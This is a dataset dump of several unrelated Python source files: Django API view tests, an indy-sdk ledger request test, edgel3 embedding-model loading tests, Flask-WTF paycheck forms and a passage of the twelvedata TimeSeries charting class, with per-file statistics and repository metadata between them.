dict(id=c.cfy_id) req = self.get(reverse("container_nodes", kwargs=kw), auth=True) node_call = mock_cfy.return_value.nodes.list node_call.return_value = [ mock.Mock(id="nid1", type="node.Type1"), mock.Mock(id="nid2", type="node.Type2") ] list_call = mock_cfy.return_value.node_instances.list list_call.return_value = [ mock.Mock(id="id1", node_id="nid1", host_id="id1", runtime_properties=dict(ip="127.0.0.1")), mock.Mock(id="id2", node_id="nid2", host_id="id1", runtime_properties=dict(ip="127.0.0.3")), mock.Mock(id="id3", node_id="nid2", host_id=None), ] resp = ContainerNodesView.as_view()(req, c.cfy_id) self.assertEqual(status.HTTP_200_OK, resp.status_code) self.assertEqual(1, len(resp.data)) self.assertEqual({"node.Type1", "node.Type2"}, set(resp.data[0]["components"])) del resp.data[0]["components"] self.assertEqual({"id": "id1", "node_id": "nid1", "ip": "127.0.0.1"}, resp.data[0]) class BlueprintIdTest(BaseViewTest): @mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK")) def test_delete_sync_success(self, mock_sync): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) kw = dict(blueprint_id=str(b.id)) req = self.delete(reverse("blueprint_id", kwargs=kw), auth=True) resp = BlueprintIdView.as_view()(req, **kw) self.assertEqual(status.HTTP_202_ACCEPTED, resp.status_code) mock_sync.assert_called_once() self.assertEqual(mock_sync.mock_calls[0][1][0], c) self.assertIsNone(mock_sync.mock_calls[0][1][1]) @mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK")) def test_delete_sync_fail_no_container(self, mock_sync): b = Blueprint.objects.create() kw = dict(blueprint_id=str(b.id)) req = self.delete(reverse("blueprint_id", kwargs=kw), auth=True) resp = BlueprintIdView.as_view()(req, **kw) self.assertEqual(status.HTTP_409_CONFLICT, resp.status_code) mock_sync.assert_not_called() @mock.patch("cfy_wrapper.tasks.sync_container", return_value=(False, "NO")) def test_delete_sync_fail(self, mock_sync): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) kw = dict(blueprint_id=str(b.id)) req = self.delete(reverse("blueprint_id", kwargs=kw), auth=True) resp = BlueprintIdView.as_view()(req, **kw) self.assertEqual(status.HTTP_409_CONFLICT, resp.status_code) mock_sync.assert_called_once() self.assertEqual(mock_sync.mock_calls[0][1][0], c) self.assertIsNone(mock_sync.mock_calls[0][1][1]) class ContainerErrorsTest(BaseViewTest): def test_not_auth(self): c = Container.objects.create() kw = dict(id=c.cfy_id) req = self.get(reverse("container_errors", kwargs=kw), auth=False) resp = ContainerErrorsView.as_view()(req, **kw) self.assertEqual(status.HTTP_401_UNAUTHORIZED, resp.status_code) @mock.patch.object(ContainerErrorsView, "get", return_value=Response({})) def test_get_route(self, mock_method): c = Container.objects.create() kw = dict(id=c.cfy_id) url = reverse("container_errors", kwargs=kw) self.client.get(url) mock_method.assert_called_once() def test_get_empty(self): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) kw = dict(id=c.cfy_id) req = self.get(reverse("container_errors", kwargs=kw), auth=True) resp = ContainerErrorsView.as_view()(req, **kw) self.assertEqual(status.HTTP_200_OK, resp.status_code) self.assertEqual([], resp.data) def test_get_render_empty(self): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) kw = dict(id=c.cfy_id) url = reverse("container_errors", kwargs=kw) resp = self.client.get(url) self.assertEqual(status.HTTP_200_OK, resp.status_code) data = json.loads(resp.content) self.assertEqual([], data) def test_get_non_empty(self): b = Blueprint.objects.create() b.log_error("message 1") b.log_error("message 2") c = Container.objects.create(blueprint=b) kw = dict(id=c.cfy_id) req = self.get(reverse("container_errors", kwargs=kw), auth=True) resp = ContainerErrorsView.as_view()(req, **kw) self.assertEqual(status.HTTP_200_OK, resp.status_code) self.compare(ERROR_FIELDS, resp.data, list(Error.objects.all())) def test_get_render_non_empty(self): b = Blueprint.objects.create() b.log_error("message 1") b.log_error("message 2") c = Container.objects.create(blueprint=b) kw = dict(id=c.cfy_id) url = reverse("container_errors", kwargs=kw) resp = self.client.get(url) self.assertEqual(status.HTTP_200_OK, resp.status_code) data = json.loads(resp.content) self.compare(ERROR_FIELDS, data, list(Error.objects.all()))

36.116883

79

0.637475

3,897

30,591

4.81319

0.050552

0.071973

0.066055

0.078637

0.904569

0.88319

0.861545

0.852962

0.832489

0.800021

0

0.013243

0.224935

30,591

846

80

36.159574

0.777857

0.001177

0

0.766615

0

0.078617

0.013616

0

0.213292

1

0.109737

false

0

0.01391

0

0.136012

0.171561

0

null

0

1

0

1

0

null

0

7

72abf9ed90fc5c0a4c050e8118c4be692f92b71b

1,625

py

Python

wrappers/python/tests/ledger/test_build_revoc_reg_entry_request.py

absltkaos/indy-sdk

bc14c5b514dc1c76ce62dd7f6bf804120bf69f5e

[ "Apache-2.0" ]

5

2018-04-09T12:26:28.000Z

2019-06-12T01:45:30.000Z

wrappers/python/tests/ledger/test_build_revoc_reg_entry_request.py

absltkaos/indy-sdk

bc14c5b514dc1c76ce62dd7f6bf804120bf69f5e

[ "Apache-2.0" ]

9

2019-01-22T22:31:54.000Z

2019-04-11T21:45:09.000Z

wrappers/python/tests/ledger/test_build_revoc_reg_entry_request.py

absltkaos/indy-sdk

bc14c5b514dc1c76ce62dd7f6bf804120bf69f5e

[ "Apache-2.0" ]

19

2018-04-25T16:08:43.000Z

2022-01-11T10:18:38.000Z

from indy import ledger import json import pytest @pytest.mark.asyncio async def test_build_revoc_reg_entry_request_work(): identifier = "Th7MpTaRZVRYnPiabds81Y" rev_reg_entry_value = { "ver": "1.0", "value": { "accum": "1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000" } } rev_reg_def_id = "RevocRegID" rev_reg_type = "CL_ACCUM" expected_response = { "operation": { "type": "114", "revocRegDefId": "RevocRegID", "revocDefType": "CL_ACCUM", "value": {"accum": "1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000"} } } request = json.loads(await ledger.build_revoc_reg_entry_request(identifier, rev_reg_def_id, rev_reg_type, json.dumps(rev_reg_entry_value))) assert expected_response.items() <= request.items()

50.78125

435

0.764308

107

1,625

11.327103

0.383178

0.643564

0.544554

1.072607

0.70132

0.660066

0

0.590705

0.179077

1,625

31

436

52.419355

0.317841

0

0.570462

0.486154

0

0.04

1

0

false

0

0.12

0

0.12

0

1

null

1

0

1

0

1

0

1

0

1

null

0

8

72b1aff095ca015b057616fe92709c034ec5a589

4,230

py

Python

tests/test_models.py

sanzgiri/edgel3

39a6e876ded897a723990ea4b81291e0a862bc81

[ "MIT" ]

null

tests/test_models.py

sanzgiri/edgel3

39a6e876ded897a723990ea4b81291e0a862bc81

[ "MIT" ]

null

tests/test_models.py

sanzgiri/edgel3

39a6e876ded897a723990ea4b81291e0a862bc81

[ "MIT" ]

null

from edgel3.models import load_embedding_model, load_embedding_model_path def test_load_embedding_model_path(): #check the output paths of ft models embedding_model_path = load_embedding_model_path('ft', 53.5) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_53.5.h5' embedding_model_path = load_embedding_model_path('ft', 63.5) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_63.5.h5' embedding_model_path = load_embedding_model_path('ft', 72.3) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_72.3.h5' embedding_model_path = load_embedding_model_path('ft', 73.5) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_73.5.h5' embedding_model_path = load_embedding_model_path('ft', 81.0) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_81.0.h5' embedding_model_path = load_embedding_model_path('ft', 87.0) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_87.0.h5' embedding_model_path = load_embedding_model_path('ft', 90.5) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_90.5.h5' embedding_model_path = load_embedding_model_path('ft', 95.45) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_95.45.h5' #Check the output paths for kd models embedding_model_path = load_embedding_model_path('kd', 53.5) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_53.5.h5' embedding_model_path = load_embedding_model_path('kd', 63.5) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_63.5.h5' embedding_model_path = load_embedding_model_path('kd', 72.3) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_72.3.h5' embedding_model_path = load_embedding_model_path('kd', 73.5) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_73.5.h5' embedding_model_path = load_embedding_model_path('kd', 81.0) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_81.0.h5' embedding_model_path = load_embedding_model_path('kd', 87.0) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_87.0.h5' embedding_model_path = load_embedding_model_path('kd', 90.5) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_90.5.h5' embedding_model_path = load_embedding_model_path('kd', 95.45) assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_95.45.h5' def test_load_embedding_model(): m = load_embedding_model('ft', 53.5) assert m.output_shape[1] == 512 m = load_embedding_model('ft', 63.5) assert m.output_shape[1] == 512 m = load_embedding_model('ft', 72.3) assert m.output_shape[1] == 512 m = load_embedding_model('ft', 73.5) assert m.output_shape[1] == 512 m = load_embedding_model('ft', 81.0) assert m.output_shape[1] == 512 m = load_embedding_model('ft', 87.0) assert m.output_shape[1] == 512 m = load_embedding_model('ft', 90.5) assert m.output_shape[1] == 512 m = load_embedding_model('ft', 95.45) assert m.output_shape[1] == 512 #Check for knowledge distilled models m = load_embedding_model('kd', 53.5) assert m.output_shape[1] == 512 m = load_embedding_model('kd', 63.5) assert m.output_shape[1] == 512 m = load_embedding_model('kd', 72.3) assert m.output_shape[1] == 512 m = load_embedding_model('kd', 73.5) assert m.output_shape[1] == 512 m = load_embedding_model('kd', 81.0) assert m.output_shape[1] == 512 m = load_embedding_model('kd', 87.0) assert m.output_shape[1] == 512 m = load_embedding_model('kd', 90.5) assert m.output_shape[1] == 512 m = load_embedding_model('kd', 95.45) assert m.output_shape[1] == 512

40.285714

103

0.7

649

4,230

4.198767

0.066256

0.349358

0.330275

0.145321

0.946789

0.908624

0.854312

0.852844

0

0.076564

0.138534

4,230

104

40.673077

0.67124

0.025296

0

0.238806

0

0.175243

0.151942

0

0.477612

1

0.029851

false

0

0.014925

0

0.044776

0

null

1

0

1

0

null

0

1

0

9

72b62c812c5c7014e3fcb9a85cb177194451e793

3,546

py

Python

application/pay/pay_forms.py

akelshareif/fiscally

ca44ca00537d2b9ef1bca8a3a67b66427394dc72

[ "MIT" ]

1

2020-09-18T04:18:58.000Z

application/pay/pay_forms.py

akelshareif/fiscally

ca44ca00537d2b9ef1bca8a3a67b66427394dc72

[ "MIT" ]

null

application/pay/pay_forms.py

akelshareif/fiscally

ca44ca00537d2b9ef1bca8a3a67b66427394dc72

[ "MIT" ]

null

""" All pay related forms """ from flask_wtf import FlaskForm from wtforms import DecimalField, IntegerField, RadioField, SelectField from wtforms.fields.html5 import DateField from wtforms.validators import InputRequired, Optional, NumberRange from .state_dict import states class PaycheckForm(FlaskForm): """ Add paycheck form """ pay_frequency = RadioField('Pay Frequency', choices=[(52, 'Weekly'), (26, 'Bi-Weekly'), (24, 'Semi-Monthly'), ( 12, 'Monthly')], validators=[InputRequired(message="You must select a pay frequency.")]) pay_date = DateField('Pay Date', format='%Y-%m-%d', validators=[InputRequired()]) gross_pay = DecimalField('Gross Pay', places=2, validators=[ InputRequired(message="You must enter your gross pay."), NumberRange(min=0, message="Gross pay cannot be less than zero.")]) filing_status = RadioField('Filing Status', choices=[('single', 'Single'), ('married', 'Married'), ('married_separately', 'Married Filing Separately'), ( 'head_of_household', 'Head of Household')], validators=[InputRequired(message="You must select your filing status.")]) state = SelectField('State', choices=list(states.items()), validators=[InputRequired( message="You must select the state which you've worked in.")]) exemptions = IntegerField('Number of Exemptions', validators=[ Optional(), NumberRange(min=0, message="Gross pay cannot be less than zero.")]) pre_tax_deductions = DecimalField( 'Pre-Tax Deductions', places=2, validators=[Optional(), NumberRange(min=0, message="Gross pay cannot be less than zero.")]) class EditPaycheckForm(FlaskForm): """ Edit paycheck form """ pay_frequency = RadioField('Pay Frequency', choices=[(52, 'Weekly'), (26, 'Bi-Weekly'), (24, 'Semi-Monthly'), ( 12, 'Monthly')], validators=[InputRequired(message="You must select a pay frequency.")]) pay_date = DateField('Pay Date', format='%Y-%m-%d', validators=[InputRequired()]) gross_pay = DecimalField('Gross Pay', places=2, validators=[ InputRequired(message="You must enter your gross pay."), NumberRange(min=0, message="Gross pay cannot be less than zero.")]) filing_status = RadioField('Filing Status', choices=[('single', 'Single'), ('married', 'Married'), ('married_separately', 'Married Filing Separately'), ( 'head_of_household', 'Head of Household')], validators=[InputRequired(message="You must select your filing status.")]) state = SelectField('State', choices=list(states.items()), validators=[InputRequired( message="You must select the state which you've worked in.")]) exemptions = IntegerField('Number of Exemptions', validators=[ Optional(), NumberRange(min=0, message="Gross pay cannot be less than zero.")]) pre_tax_deductions = DecimalField( 'Pre-Tax Deductions', places=2, validators=[Optional(), NumberRange(min=0, message="Gross pay cannot be less than zero.")]) class SalaryGrossPayForm(FlaskForm): """ Form to calculate gross salary """ salary = DecimalField('Annual Salary', places=2, validators=[ InputRequired(message="You must enter your annual salary.")]) pay_frequency = RadioField('Pay Frequency', choices=[(52, 'Weekly'), (26, 'Bi-Weekly'), (24, 'Semi-Monthly'), ( 12, 'Monthly')], validators=[InputRequired(message="You must select a pay frequency.")])

52.925373

157

0.664975

400

3,546

5.8425

0.22

0.1181

0.12837

0.141207

0.83697

0.814292

0

0.01253

0.189791

3,546

66

158

53.727273

0.800905

0.025945

0

0.75

0

0.31797

0

1

0

false

0

0.125

0

0.6

0

null

0

1

0

1

0

null

0

7

f4023fd30c498bca547c1a3d007ad79de16c7f28

276,166

py

Python

src/twelvedata/time_series.py

bhardwajRahul/twelvedata-python

738e4da8ad09511c0ed4b1bfca2709fbc3a9c1aa

[ "MIT" ]

null

src/twelvedata/time_series.py

bhardwajRahul/twelvedata-python

738e4da8ad09511c0ed4b1bfca2709fbc3a9c1aa

[ "MIT" ]

null

src/twelvedata/time_series.py

bhardwajRahul/twelvedata-python

738e4da8ad09511c0ed4b1bfca2709fbc3a9c1aa

[ "MIT" ]

1

2021-01-01T10:49:59.000Z

# coding: utf-8 import time import pytimeparse import re import itertools from collections import OrderedDict, Counter from .endpoints import * from .utils import apply_context_defaults, force_use_kwargs, parse_interval_in_minutes __all__ = ("TimeSeries",) class TimeSeries(object): def __init__( self, ctx, endpoints=(), price_endpoint=None, price_endpoint_enabled=True ): self.ctx = ctx self.price_endpoint_enabled = price_endpoint_enabled self.price_endpoint = price_endpoint or TimeSeriesEndpoint( self.ctx, **self.ctx.defaults ) self.endpoints = endpoints def clone(self): return TimeSeries( ctx=self.ctx, endpoints=self.endpoints, price_endpoint=self.price_endpoint, price_endpoint_enabled=self.price_endpoint_enabled, ) def as_json(self): out = OrderedDict() is_batch = False postfixes = self._generate_postfixes() error_symbols = [] if self.price_endpoint_enabled: time_series_json = self.price_endpoint.as_json() is_batch = self.price_endpoint.is_batch for row_symbol in time_series_json: if self.price_endpoint.is_batch: values = OrderedDict() if time_series_json[row_symbol]['status'] == 'error': error_symbols.append(row_symbol) continue for v in time_series_json[row_symbol]['values']: values.setdefault(v["datetime"], {}).update(v) out[row_symbol] = values else: out.setdefault(row_symbol["datetime"], {}).update(row_symbol) for ep in self.endpoints: postfix = str(next(postfixes[ep.__class__])) indicator_json = ep.as_json() for row in indicator_json: if ep.is_batch: if row.upper() in error_symbols: continue values = out[row] for v in indicator_json[row]['values']: if postfix: v = { (k if k == "datetime" else "{}_{}".format(k, postfix)): v for k, v in v.items() } values.setdefault(v["datetime"], {}).update(v) out[row] = values else: if postfix: row = { (k if k == "datetime" else "{}_{}".format(k, postfix)): v for k, v in row.items() } out.setdefault(row["datetime"], {}).update(row) if is_batch: for k, v in out.items(): out[k] = tuple(v.values()) return dict(out) return tuple(out.values()) def as_csv(self, **kwargs): out = OrderedDict() postfixes = self._generate_postfixes() if self.price_endpoint_enabled: for row in self.price_endpoint.as_csv(): out.setdefault(row[0], []).extend(row) for ep in self.endpoints: postfix = str(next(postfixes[ep.__class__])) for row in ep.as_csv(**kwargs): if row[0] == "datetime": row = ["{}{}".format(header, postfix) for header in row[1:]] row.insert(0, "datetime") if not out: out.setdefault(row[0], []).extend(row) else: out.setdefault(row[0], []).extend(row[1:]) return tuple(out.values()) def as_pandas(self, **kwargs): import pandas postfixes = self._generate_postfixes() if self.price_endpoint_enabled: df = self.price_endpoint.as_pandas() else: df = None for ep in self.endpoints: tmp_df = ep.as_pandas(**kwargs) tmp_df = tmp_df.add_suffix(str(next(postfixes[ep.__class__]))) if df is None: df = tmp_df continue df = pandas.merge( df, tmp_df, how="left", left_index=True, right_index=True ) return df def _has_overlays(self): return any(ep.is_overlay for ep in self.endpoints) def _count_subplots(self): """Count how many charts should be displayed""" if self.price_endpoint_enabled or self._has_overlays(): subplots_count = 1 else: subplots_count = 0 for ep in self.endpoints: subplots_count += ep.is_indicator and not ep.is_overlay return subplots_count def _chart_title(self): return "{} - {}".format( self.ctx.defaults.get("symbol").upper(), self.ctx.defaults.get("interval") ) def _generate_postfixes(self): # If user specified multiple same endpoints we should add postfixes postfixes = {} empty = itertools.cycle(("",)) for cls, n in Counter(ep.__class__ for ep in self.endpoints).items(): if n > 1: postfixes[cls] = itertools.count(1) else: postfixes[cls] = empty return postfixes def as_pyplot_figure(self, figsize=(16, 8), candle_width=0.0002): import matplotlib.dates as mdates import matplotlib.pyplot as plt import matplotlib.ticker as mticker from pandas.plotting import register_matplotlib_converters register_matplotlib_converters() plt.rcParams["figure.figsize"] = figsize subplots_count = self._count_subplots() def mark_xaxis_as_date(x): x.xaxis_date() x.xaxis.set_major_formatter(mdates.DateFormatter("%Y-%m-%d %H:%M")) x.xaxis.set_major_locator(mticker.MaxNLocator(10)) for label in x.xaxis.get_ticklabels(): label.set_rotation(45) x.grid(True) # All subplots should be %25 from height of main plot if self.price_endpoint_enabled: gridspec = { "width_ratios": [1], "height_ratios": [4] + ([1] * (subplots_count - 1)), } else: gridspec = {"width_ratios": [1], "height_ratios": [1] * subplots_count} # Create multiple plots with shared X-axis fig, axs = plt.subplots(subplots_count, 1, sharex=True, gridspec_kw=gridspec) fig.suptitle(self._chart_title(), x=0.44, y=0.95) ax_iter = iter((axs,)) if subplots_count == 1 else iter(axs) # Binding a width of the candles to the interval, otherwise # the candles will be too thin interval = self.ctx.defaults.get("interval", "1min") interval_minutes = parse_interval_in_minutes(interval) or 1 # Render price chart first price_ax = None if self.price_endpoint_enabled: price_ax = next(ax_iter) self.price_endpoint.render_matplotlib( ax=price_ax, candle_width=candle_width, interval_minutes=interval_minutes, ) price_ax.yaxis.tick_right() price_ax.yaxis.set_label_position("right") mark_xaxis_as_date(price_ax) elif self._has_overlays(): price_ax = next(ax_iter) # Render tech indicators # postfixes = self._generate_postfixes() # for ep in self.endpoints: # if ep.is_overlay: # ax = price_ax # else: # ax = next(ax_iter) # ax.margins(0.25) # # ax.yaxis.tick_right() # ax.yaxis.set_label_position("right") # # postfix = next(postfixes[ep.__class__]) # ep.render_matplotlib( # ax=ax, interval_minutes=interval_minutes, postfix=postfix # ) # # if not ep.is_overlay: # mark_xaxis_as_date(ax) # # ax.legend(loc="upper left") plt.subplots_adjust(wspace=0, hspace=0, left=0.1, right=0.8) plt.xlabel("Time") return fig def show_pyplot(self, figsize=(20, 10), candle_width=0.002): import matplotlib as mpl import matplotlib.pyplot as plt mpl.use("WebAgg") self.as_pyplot_figure(figsize=figsize, candle_width=candle_width) plt.show() def as_plotly_figure(self): from plotly.subplots import make_subplots import plotly.graph_objs as go subplots_count = self._count_subplots() # All subplots should have %25 height from the main plot if self.price_endpoint_enabled: row_width = [1] row_width.extend([0.25] * (subplots_count - 1)) else: row_width = [1] * subplots_count fig = make_subplots( rows=subplots_count, cols=1, shared_xaxes=True, vertical_spacing=0, row_width=row_width[::-1], ) # Draw main plot if self.price_endpoint_enabled: price_traces = self.price_endpoint.render_plotly(fig=fig) fig.add_trace(price_traces[0], 1, 1) for trace in price_traces[1:]: fig.add_trace(trace) # Draw other subplots postfixes = self._generate_postfixes() overlay_endpoints = (ep for ep in self.endpoints if ep.is_overlay) for ep in overlay_endpoints: postfix = next(postfixes[ep.__class__]) for ep_trace in ep.render_plotly(postfix=postfix): fig.add_trace(ep_trace) if self.price_endpoint_enabled or self._has_overlays(): start_index = 2 else: start_index = 1 separate_endpoints = (ep for ep in self.endpoints if not ep.is_overlay) for idx, ep in enumerate(separate_endpoints, start=start_index): postfix = next(postfixes[ep.__class__]) for ep_trace in ep.render_plotly(postfix=postfix): fig.add_trace(ep_trace, idx, 1) # Move all ticks on Y-axis to the right for yaxis in (fig.layout[attr] for attr in fig.layout if attr[:5] == "yaxis"): yaxis.side = "right" yaxis.mirror = "allticks" # Set title and remove rangeslider fig.update( layout_title={ "text": self._chart_title(), "x": 0.5, "xanchor": "center", "y": 0.9, "yanchor": "top", }, layout_xaxis_rangeslider_visible=False, ) return fig def show_plotly(self): fig = self.as_plotly_figure() fig.show() def _with_endpoint(self, ep): ts = self.clone() ts.endpoints += (ep,) return ts def _with_price_endpoint(self, ep): ts = self.clone() ts.price_endpoint = ep return ts def without_ohlc(self): """ Disable price data/chart """ ts = self.clone() ts.price_endpoint_enabled = False return ts def with_ohlc(self): """ Enable price data/chart """ ts = self.clone() ts.price_endpoint_enabled = True return ts @force_use_kwargs @apply_context_defaults def with_ad( self, exchange=None, country=None, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of AD to chart builder Chaikin A/D Line(AD) calculates Advance/Decline of an asset. This indicator belongs to the group of Volume Indicators. This API call returns meta and time series values of AD. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Name of instrument you want to request For preffered stocks use dot(.) delimiterE.g. BRK.A or BRK.B will be correct :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = ADEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_adosc( self, exchange=None, country=None, fast_period=12, slow_period=26, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of ADOSC to chart builder Chaikin A/D Oscillator(ADOSC) is an indicator of indicator which has an idea to find relationship between increasing and deacreasing volume with price fluctuations. The Chaikin Oscillator measures the momentum of the Accumulation/Distribution Line(ADL) using two Exponential Moving Averages of varying length to the line(MACD). This API call returns meta and time series values of ADOSC. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Name of instrument you want to request For preffered stocks use dot(.) delimiter. E.g. BRK.A or BRK.B will be correct :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored. Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param fast_period: Number of periods for fast moving average. Must be at least 1 :param slow_period: Number of periods for slow moving average. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = ADOSCEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, fast_period=fast_period, slow_period=slow_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_adx( self, exchange=None, country=None, time_period=14, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of ADX to chart builder Average Directional Movement Index(ADX) is used to decide if the price trend is strong. This API call returns meta and time series values of ADX. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency. E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = ADXEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_adxr( self, exchange=None, country=None, time_period=14, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of ADXR to chart builder Average Directional Movement Index Rating(ADXR) is a smoothed version of ADX indicator. ADXR quantifies momentum change in the ADX. This API call returns meta and time series values of ADXR. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency. E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = ADXREndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_apo( self, exchange=None, country=None, time_period=9, fast_period="12", slow_period="26", ma_type="SMA", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of APO to chart builder Absolute Price Oscillator(APO) calculates the difference between two price moving averages. This API call returns meta and time series values of APO. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any 